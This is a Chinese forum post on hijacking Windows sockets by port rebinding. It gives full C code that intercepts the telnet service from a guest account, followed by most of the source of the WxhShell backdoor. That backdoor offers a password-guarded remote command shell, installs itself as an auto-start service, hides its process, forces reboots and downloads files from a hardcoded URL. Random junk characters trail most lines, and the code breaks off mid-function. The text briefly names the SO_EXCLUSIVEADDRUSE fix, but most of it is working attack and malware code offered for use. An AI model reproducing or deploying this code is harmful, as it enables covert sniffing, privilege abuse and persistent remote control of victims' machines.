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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~=pAy>oV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "~uo4n~H  
G^ 2a<?Di  
  saddr.sin_family = AF_INET; wV,l }Xb-  
a!!>}e>Cj*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B2uLfi$q  
nYF *f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #P''+$5,  
|k-IY]6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1hT!~'  
]F]!>dKA  
  这意味着什么?意味着可以进行如下的攻击: |,G=k,?_p  
OlV'#D   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V`7^v:  
!_|rVg.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) " ~X;u8m  
vMQvq9T}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >10pk  
^:yg,cS|Be  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 1\N+  
h"-}BjL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I}@m6D|\  
]DaC??%w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yiq8 >|  
.L X8ko  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^6Std x_  
\AT]$`8@_  
  #include =:!$'q:  
  #include N]k(8K  
  #include z z4.gkU  
  #include    xTJ-v/t3<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G}lP'9/  
  int main() 2[*r9%W  
  { qhPvU( ,  
  WORD wVersionRequested; MZ8jL,a^  
  DWORD ret; zP|y3`. 52  
  WSADATA wsaData; FZEK-]h.  
  BOOL val; 3]X9 z  
  SOCKADDR_IN saddr; #e!4njdM  
  SOCKADDR_IN scaddr; *$KUnd-T  
  int err; !"dbK'jb^  
  SOCKET s; a s{^~8B  
  SOCKET sc; iE|qU_2Y  
  int caddsize; ]vPa A  
  HANDLE mt; 4RH'GnLa  
  DWORD tid;   &tULSp@J  
  wVersionRequested = MAKEWORD( 2, 2 ); xF+a.gAIb  
  err = WSAStartup( wVersionRequested, &wsaData ); tv)U 7 K0  
  if ( err != 0 ) { u7e g:0Y  
  printf("error!WSAStartup failed!\n"); %("Bq"Q8  
  return -1; S[b)`Wi D  
  } +b7}R7:AFH  
  saddr.sin_family = AF_INET; Q/%(&4>'y  
   pLFJ"3IJB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l#FW#`f  
vu%:0p` K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #L{+V?  
  saddr.sin_port = htons(23); R|%R-J]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) idC4yH42  
  { UH<nc;.B  
  printf("error!socket failed!\n"); 3sk$B%a>Z  
  return -1; N F[v/S  
  } 5dV Sir  
  val = TRUE; <bwsK,C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LvJ')HG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )V^J^1  
  { !9!kb  
  printf("error!setsockopt failed!\n"); AQ!FJ(X(  
  return -1; r@xMb,!H  
  } zFjG20w%3g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $XqfwlUu/4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fb5]eec  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yqF$J"=|  
Lc|5&<8ZG1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !@ml^&hP  
  { d9XX^nY.  
  ret=GetLastError(); K_iy^|0)5]  
  printf("error!bind failed!\n"); W^2Q"c#7F  
  return -1; 1n! Jfs U  
  } !8"516!d|p  
  listen(s,2); Mj&f7IUO  
  while(1) GNXQD}L?b?  
  { '|0Dt|$  
  caddsize = sizeof(scaddr); k;p:P ?s5Y  
  //接受连接请求 bA-=au?o5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4-`C !q  
  if(sc!=INVALID_SOCKET) kb?QQ\e  
  { }Po&6^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )-824?Nl:  
  if(mt==NULL) +]Oq{v:e  
  { ]6{G;f$  
  printf("Thread Creat Failed!\n"); =6t)-53  
  break; im^G{3z  
  } ,TD@s$2x  
  } XF1x*zc  
  CloseHandle(mt); Ys10r-kDS  
  } Tx35~Z`0  
  closesocket(s); w \pD'1e  
  WSACleanup(); 06I'#:]  
  return 0; fmH$ 1C<  
  }   "sz)~Q'W5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5gg_c?Vh/  
  { :8U=L'4  
  SOCKET ss = (SOCKET)lpParam; ARW|wXhyf  
  SOCKET sc; *k'oP~:fT  
  unsigned char buf[4096]; ~130"WQ;  
  SOCKADDR_IN saddr; @B$ Y`eK\  
  long num; |jW82L+!N%  
  DWORD val; $%VFk53I  
  DWORD ret; A>^\jIB>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e9h T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E9 {Gaa/{  
  saddr.sin_family = AF_INET; \$s<G|<P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -[~UX!XFM  
  saddr.sin_port = htons(23); /ocdAW`0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6}2vn5 E//  
  { .x$+ 7$G  
  printf("error!socket failed!\n"); w :Fes  
  return -1; BCF- lrZ&  
  } m.-l&@I2/<  
  val = 100; M)6_Ta l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JP9eNc[  
  { g ZhE\  
  ret = GetLastError(); BOn2`|oLuF  
  return -1; V@<tIui$  
  } A[v]^pv'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {AqN@i  
  { Q4-d2I>0  
  ret = GetLastError(); +Tde#T&[  
  return -1; 1=O Xi!G  
  } X!,P] G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }u5;YNmXxF  
  { sN 1x|pkN  
  printf("error!socket connect failed!\n"); T5,/;e  
  closesocket(sc); k&ujr:)5Y5  
  closesocket(ss); Skl1%`  
  return -1; e-H:;m5R  
  } c*K-?n9YMz  
  while(1) $@+\_f'bU>  
  { tTe\#o`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ry3;60E \)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s#?Y^bgH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Lo @mQ  
  num = recv(ss,buf,4096,0); ,*a8]L  
  if(num>0) 8vz9o <I  
  send(sc,buf,num,0); a*6x^R;)  
  else if(num==0) )-#%  
  break; :}FMauHh  
  num = recv(sc,buf,4096,0); ~UB@IV6O  
  if(num>0) `;*%5WD%  
  send(ss,buf,num,0); {-J/ <a@  
  else if(num==0) \06fP4?  
  break; 6cVaO@/(  
  } SC74r?N FA  
  closesocket(ss); 6GMQgTY^  
  closesocket(sc); 5W>i'6*  
  return 0 ; bw9a@X  
  } 'g^;_=^G  
.<^dv?@  
[G+M94[A  
========================================================== f8+($Ys  
Xl;u  
下边附上一个代码,,WXhSHELL 0XSZ3dY&+  
G#@o6r  
========================================================== ~0 >g 4 D.  
!FZb3U@  
#include "stdafx.h" "X's>uM  
'{QbjG%<P  
#include <stdio.h> *5hg}[n2  
#include <string.h> }I}RqD:`  
#include <windows.h> aRdk^|}  
#include <winsock2.h> hZVF72D26  
#include <winsvc.h> aN}yS=(Ff  
#include <urlmon.h> |s+[489g'6  
eEb(TG~,Y  
#pragma comment (lib, "Ws2_32.lib") jAfUz7@  
#pragma comment (lib, "urlmon.lib") NcZ6!wWdE  
`]#DdJ_|  
#define MAX_USER   100 // 最大客户端连接数 )/HSt%>  
#define BUF_SOCK   200 // sock buffer +IK~a9t  
#define KEY_BUFF   255 // 输入 buffer \'&:6\-fw  
;<Oe\X  
#define REBOOT     0   // 重启 F +D2 xN@  
#define SHUTDOWN   1   // 关机 $L)9'X   
~#h@.yW^JN  
#define DEF_PORT   5000 // 监听端口 aU<0<Dx  
-1Yt3M&  
#define REG_LEN     16   // 注册表键长度 <oS2a/Nd  
#define SVC_LEN     80   // NT服务名长度 ba1zu|@w  
vo-n9Bj  
// 从dll定义API 8O qG{jmG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eY"y[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h2`W~g_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8RVNRV@g%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )Uw QsP  
&q#$SU,$(  
// wxhshell配置信息 gs_"H  
struct WSCFG { w{?nX6a@p  
  int ws_port;         // 监听端口 R{NmWj['Mg  
  char ws_passstr[REG_LEN]; // 口令 k`62&"T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1u:OzyJy  
  char ws_regname[REG_LEN]; // 注册表键名 8iB1a6TlL  
  char ws_svcname[REG_LEN]; // 服务名 1 9$ufod  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8c3`IIzAS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9IIQon  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kpsus \T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sI, T"D?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #.$p7]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RnPJ,Z5s&&  
FTI[YR8?Y  
}; -PbGNF  
KV k 36;$  
// default Wxhshell configuration oJ ,t]e*q=  
struct WSCFG wscfg={DEF_PORT, B=%cXW,  
    "xuhuanlingzhe", U;Se'*5xv  
    1, 3Ew-Ia%A  
    "Wxhshell", 7G.IGXK$  
    "Wxhshell", M\ vj&T{k  
            "WxhShell Service", XE[~! >'  
    "Wrsky Windows CmdShell Service", ?;i O  
    "Please Input Your Password: ", \CM/KrCR  
  1, X@:pys 8@  
  "http://www.wrsky.com/wxhshell.exe", M&Sjo' ( .  
  "Wxhshell.exe" !R-M:|  
    }; -^=gQ7f9  
|!euty ::  
// 消息定义模块 ,Bk mf|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w(U-6uA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zGHP{a1O7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pni  
char *msg_ws_ext="\n\rExit."; r@5_LD@f  
char *msg_ws_end="\n\rQuit."; "X4OUk  
char *msg_ws_boot="\n\rReboot..."; %Ui&SZ\  
char *msg_ws_poff="\n\rShutdown..."; n"N!76  
char *msg_ws_down="\n\rSave to "; U+CZv1  
Bwj^9J/ob  
char *msg_ws_err="\n\rErr!"; @G+Hrd6  
char *msg_ws_ok="\n\rOK!"; fNPHc_?Ybj  
jq yqOhb4  
char ExeFile[MAX_PATH]; !(~eeE}|lM  
int nUser = 0; 7tP?([o%F  
HANDLE handles[MAX_USER]; -D?T0>  
int OsIsNt; S;sggeP7,  
,+-l1GpL  
SERVICE_STATUS       serviceStatus; ~KHGh29  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Qm"iOyM  
Q*&>Ui[&  
// 函数声明 qL.1N~$2  
int Install(void); |b7 v(Hx  
int Uninstall(void); ,V'+16xW  
int DownloadFile(char *sURL, SOCKET wsh); -CtLL _I  
int Boot(int flag); 8!2NZOZOS  
void HideProc(void); u&yAMWl  
int GetOsVer(void); kW0|\  
int Wxhshell(SOCKET wsl); {G&*\5W  
void TalkWithClient(void *cs); k FE2Vv4.  
int CmdShell(SOCKET sock); ^BIB'/Kh)  
int StartFromService(void); Q]]}8l2  
int StartWxhshell(LPSTR lpCmdLine); <^q4^Q[  
" 2A`M~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F^.w:ad9<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #Jp_y|  
j oDY   
// 数据结构和表定义 CB_ww=  
SERVICE_TABLE_ENTRY DispatchTable[] = (8qD'(@  
{ nJ'FH['  
{wscfg.ws_svcname, NTServiceMain}, aNLRUdc.  
{NULL, NULL} #$7d1bx  
}; 12qX[39/  
*"Yz"PK  
// 自我安装 t`=TonLb8  
int Install(void) JAJo^}}{b  
{ !iUFD*~r~  
  char svExeFile[MAX_PATH]; Ks'msSMC  
  HKEY key; dz@L}b*  
  strcpy(svExeFile,ExeFile); g$ bbm}6S  
"P.H  
// 如果是win9x系统,修改注册表设为自启动 I/4:SNha  
if(!OsIsNt) { ?.Mw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y3@\uM`2#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iR} 3 [  
  RegCloseKey(key); JL gk?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +e VWTRG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E_sKDybj  
  RegCloseKey(key); -OV:y],-  
  return 0; n7-|\p!xP6  
    } L3}n(K AJj  
  } D>Ij  
} BkywYCWZ )  
else { pT3p!/pl3  
%c+`8 wj  
// 如果是NT以上系统,安装为系统服务 dJyf.VJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7|$cM7_r  
if (schSCManager!=0) PP/EZ^]b  
{ o[Ojl .r<  
  SC_HANDLE schService = CreateService {2jetX`@h  
  ( /$ a>f>EJ  
  schSCManager, MR4e.+#E  
  wscfg.ws_svcname, 0X \OQ;  
  wscfg.ws_svcdisp, 8{DZew /  
  SERVICE_ALL_ACCESS, cyYsz'i m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~)J]`el,Q  
  SERVICE_AUTO_START, aC$-riP,?'  
  SERVICE_ERROR_NORMAL, tYb8a  
  svExeFile, GD*rTtDWn  
  NULL, hd+(M[C<9  
  NULL, GxH]  
  NULL, ,q9nHZG^  
  NULL, War<a#0  
  NULL PSCzeR  
  ); ai,\'%N  
  if (schService!=0) 4Js2/s  
  { 8w,+Y]X<P[  
  CloseServiceHandle(schService); FKYPkFB  
  CloseServiceHandle(schSCManager); hA?Flq2QV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (L`7-6e(Ab  
  strcat(svExeFile,wscfg.ws_svcname); QuB`}rfLf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \!-IY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #6g9@tE  
  RegCloseKey(key); o )\\(^ld  
  return 0; F_ ^)zss  
    } =2Vs))>Y  
  } XK*55W &og  
  CloseServiceHandle(schSCManager); tW^oa  
} r6,EyCWcCs  
} <@F.qMl  
c:*[HO\  
return 1; Bqcih$`BVU  
} ,Yp+&&p.  
MWGs:tpL4  
// 自我卸载 9+irf^D`O  
int Uninstall(void) u"$=:GK  
{ ]n\Qa   
  HKEY key; X mmb^2I  
A{Kc"s4fO  
if(!OsIsNt) { ol[sX=5 *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w"PnN  
  RegDeleteValue(key,wscfg.ws_regname); ?&gqGU}  
  RegCloseKey(key); Q1 t-Z; X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pv#Oea?  
  RegDeleteValue(key,wscfg.ws_regname); Kl\g{>{Uz  
  RegCloseKey(key); mp'Z.4  
  return 0; v3*y43  
  } xmM!SY>  
} bHKTCPf  
} X[SdDYMY  
else { $q$G  
u# TNW.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hR4\:s+[  
if (schSCManager!=0) +!~"o oQZh  
{ cko^_V&x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?lPn{oB9"  
  if (schService!=0) x]Pp|rHj  
  { sQ}E4Iq1#S  
  if(DeleteService(schService)!=0) { '5)PYjMnH  
  CloseServiceHandle(schService); FHK{cE  
  CloseServiceHandle(schSCManager); q+Ec|Xd e  
  return 0; GXnrVI  
  } IDY2X+C#U  
  CloseServiceHandle(schService); {i^F4A@=Z  
  } u\A L`'v  
  CloseServiceHandle(schSCManager);  5(\H:g\z  
} w paI}H#  
} Ql1J?9W  
`x:O&2  
return 1; {y%|Io`P  
} $~,J8?)(z  
_2a)b(<tF  
// 从指定url下载文件 iAr]Ed"9|  
int DownloadFile(char *sURL, SOCKET wsh) 1\X_B`xwD  
{ P!yOA_)as  
  HRESULT hr; hDf!l$e.  
char seps[]= "/"; h J H  
char *token; ri1;i= W  
char *file; pSl4^$2XR  
char myURL[MAX_PATH]; 98rO]rg  
char myFILE[MAX_PATH]; _B?Hw[cc  
 X@Bg_9\i  
strcpy(myURL,sURL); =&"a:l  
  token=strtok(myURL,seps); vNQ|tmn  
  while(token!=NULL) 3De(:c)@  
  { 6n:oEXM>  
    file=token; .Q!pQ"5  
  token=strtok(NULL,seps); 9]^q!~u  
  } %%T?LRv  
%w;wQ_  
GetCurrentDirectory(MAX_PATH,myFILE); B.4Or]  
strcat(myFILE, "\\"); pM-mZ/?  
strcat(myFILE, file); }1mkX\wWP  
  send(wsh,myFILE,strlen(myFILE),0); &e3pmHp'  
send(wsh,"...",3,0); )tx2lyY:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .1f!w!ltVR  
  if(hr==S_OK) ~^J9v+  
return 0; L>n^Q:M  
else {^Rr:+  
return 1; IqFmJs|C  
`4,]Mr1b  
} 5^N y6t  
_LFABG=  
// 系统电源模块 a/n~#5-  
int Boot(int flag) -XfGF<}r  
{ 7|k2~\@q  
  HANDLE hToken; `-g$ 0lm7  
  TOKEN_PRIVILEGES tkp; w>4( hGO  
7[1 VFc#tf  
  if(OsIsNt) { %3yrX>Js  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EX@Cf!GjN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kyf(V)APPu  
    tkp.PrivilegeCount = 1; [W99}bi$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .Ms$)1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y=@iD\u  
if(flag==REBOOT) { MhjIE<OI=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;?Q0mXr  
  return 0; cR/e Zfl  
} %reW/;)l{  
else { "?6R"Vk?:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^97[(89G9  
  return 0; bYYjP.rcF  
} 9t7 e~&R  
  } _8 l=65GW  
  else { r;O?`~2'4  
if(flag==REBOOT) { <bJ~Ol  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GuF-HP}xM  
  return 0; oJZ0{^  
} _)~|Z~  
else { D=)qd@,K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d>/4z#R}-  
  return 0; I.o3Old  
} kdMB.~(K=  
} f5R%F ~  
%5;kNeD\Fq  
return 1; v%QC p  
} /x /W>J2  
eTt{wn;6  
// win9x进程隐藏模块 xRF_'|e  
void HideProc(void) ZRUAw,T*  
{ z u1gP/  
3ep L'My$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t5QGXj  
  if ( hKernel != NULL ) mN#&NA  
  { UHDcheeRD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `U;V-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5;9.&f  
    FreeLibrary(hKernel); V.[b${  
  } ~5Rh7   
e co=ia  
return; }80n5 X<9  
} XB%`5wwd  
) |hHbD^V  
// 获取操作系统版本 Q?%v b  
int GetOsVer(void) tI2p-d9B  
{ dRTpGz  
  OSVERSIONINFO winfo; *c@]c~hY,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T f^O(  
  GetVersionEx(&winfo); #p=Wt&2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ||?wRMV  
  return 1; ? oGmGKq  
  else St1>J.k_  
  return 0; T0}P 'q  
} S[uHPYhlA  
< YuI}d~'  
// 客户端句柄模块 %P]-wBJw  
int Wxhshell(SOCKET wsl) O0"&wvR+5  
{ ~#[ ZuMO?  
  SOCKET wsh; # /pZ#ny  
  struct sockaddr_in client; F~O! J@4]  
  DWORD myID; Q_a%$a.rV  
JGk,u6K7  
  while(nUser<MAX_USER) \'N|1!EO|t  
{ Z8Clm:S  
  int nSize=sizeof(client); fmq^AnKd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m;I;{+"u  
  if(wsh==INVALID_SOCKET) return 1; KBGJB`D*  
RbNRBK!{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8 _[f#s`)  
if(handles[nUser]==0) wwmODw<tT  
  closesocket(wsh); 3'2}F%!Mv  
else `24:Eg6r  
  nUser++; r^6v o6^  
  } 'C*NyHc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h Tn^:%(  
,@ Cru=  
  return 0; Lp*T=]C]  
} ^q$vyY   
O"9f^y*  
// 关闭 socket (jYs_8;  
void CloseIt(SOCKET wsh) Dl/_jM  
{ ;h3*MR  
closesocket(wsh); HwSPOII|8K  
nUser--; I_ .;nU1xA  
ExitThread(0); #(*WxVE  
} FZmYv%J  
[l5 "'{x  
// 客户端请求句柄 |/lIasI  
void TalkWithClient(void *cs) 1y"37;x  
{ |:r/K  
rb\Ohv\  
  SOCKET wsh=(SOCKET)cs; NV-9C$<n2!  
  char pwd[SVC_LEN]; 5\Y/so=  
  char cmd[KEY_BUFF]; :g9z^ $g  
char chr[1]; 0XYO2 k  
int i,j; iK %Rq  
Nyqm0C6m^  
  while (nUser < MAX_USER) { sqZHk+<%  
'H cDl@E  
if(wscfg.ws_passstr) { AYZds >#Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z%OSW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A^p $~e\)  
  //ZeroMemory(pwd,KEY_BUFF); D[#\Y+N  
      i=0; 0~1P&Qs<  
  while(i<SVC_LEN) { a@jP^VVk  
z:G9Uu3H(  
  // 设置超时 [sk"2  
  fd_set FdRead; ,6buo~?W:  
  struct timeval TimeOut; d<3"$%C  
  FD_ZERO(&FdRead); oV!9B-<  
  FD_SET(wsh,&FdRead); #129 i2  
  TimeOut.tv_sec=8; 7z,M`14  
  TimeOut.tv_usec=0; V7@xr M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }I`|*6Up  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ` cv:p|s  
4#YklVm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H5I#/j  
  pwd=chr[0]; j&mL]'Zy  
  if(chr[0]==0xd || chr[0]==0xa) { l&A`  
  pwd=0; QE}@|H9xs  
  break; W[m_IY  
  } rh l5r"%  
  i++; C/Z"W@7#;  
    } <FK><aA_i*  
~GeYB6F  
  // 如果是非法用户,关闭 socket ,{50zx2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T7Ac4LA  
} 4dK@UN\  
y b G)=0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R)C+wTG;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I{PN6bn{>  
8#Z5-",iw  
while(1) { ZkJM?Fzq  
;R!H\  
  ZeroMemory(cmd,KEY_BUFF); $OD5t5eTsM  
D+3Y.r 9  
      // 自动支持客户端 telnet标准   I@ k8^  
  j=0; 3$cF)5Vf  
  while(j<KEY_BUFF) { Q=8 cBRe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !q/lgpEi  
  cmd[j]=chr[0]; lRr-S%  
  if(chr[0]==0xa || chr[0]==0xd) { h'x~"k1  
  cmd[j]=0; 5!zvoX9  
  break; z{d5Lrk  
  } d/>,U7eS[+  
  j++; RX1{?*r]Z  
    } ODEXQl}R  
/8>/"Z2S  
  // 下载文件 U08?*{  
  if(strstr(cmd,"http://")) { Ol9 fwd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ([-=NT}Aq  
  if(DownloadFile(cmd,wsh)) =.hDf<U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 8$ Y-g5*  
  else H| U/tU-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h.;CL#s  
  } N08n/u&cr,  
  else { ] <3?=$  
YX VJJd$U  
    switch(cmd[0]) { NCFV  
  I JY5wP1"  
  // 帮助 U]0)$OH5e  
  case '?': { O)uM&B=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rl4zTAI  
    break; 5I1J)K;  
  } d$rUxqB.  
  // 安装 KBR0p&MN  
  case 'i': { t=rAc yNM  
    if(Install()) 6QXQ<ah"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:9fS  
    else y!N)@y4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K]!u@I*K"  
    break; d5"EvT  
    } G=HxD4l  
  // 卸载 4F,Ql"ae(  
  case 'r': { gQ=POJ=G  
    if(Uninstall()) MlK`sH6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gj19KQ1G  
    else ,i?!3oLT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/kaRnG[@t  
    break; Q!Ow{(|  
    } | 58 !A]  
  // 显示 wxhshell 所在路径 `m 3QT3B  
  case 'p': { V9j1j}  r  
    char svExeFile[MAX_PATH]; ^I<T+X+<  
    strcpy(svExeFile,"\n\r"); `XSc >  
      strcat(svExeFile,ExeFile); mzE$aFu8  
        send(wsh,svExeFile,strlen(svExeFile),0); TDFO9%2c  
    break; ]vQ?]d?>a  
    } 0 \Yx.\X,  
  // 重启 4^[}]'w  
  case 'b': { `}~ )1'(#/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3$N %iE6  
    if(Boot(REBOOT)) >mFX^t_,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!ZP?]FR  
    else { .D,?u"fk|  
    closesocket(wsh); 4l ZJb  
    ExitThread(0); AX!>l;  
